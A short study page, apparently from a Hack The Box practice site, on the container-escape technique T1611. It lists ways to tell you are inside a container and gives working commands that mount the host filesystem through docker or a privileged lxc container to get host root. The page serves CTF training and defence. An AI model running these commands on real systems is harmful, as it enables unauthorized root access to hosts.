T1611

Escape to Host

Breaking out of a container (Docker, LXD) onto the host system.

How it shows up on Hack The Box

If you are in a container (.dockerenv, odd hostname) look for the Docker socket, dangerous capabilities, host mounts or privileged mode. If your user is in the docker or lxd groups, you are already root on the host.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Linux privilege escalation › Exploitation

docker
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
lxd / lxc
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn raiz disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/sh

You need an imported alpine image (lxc image import) if the box has no internet.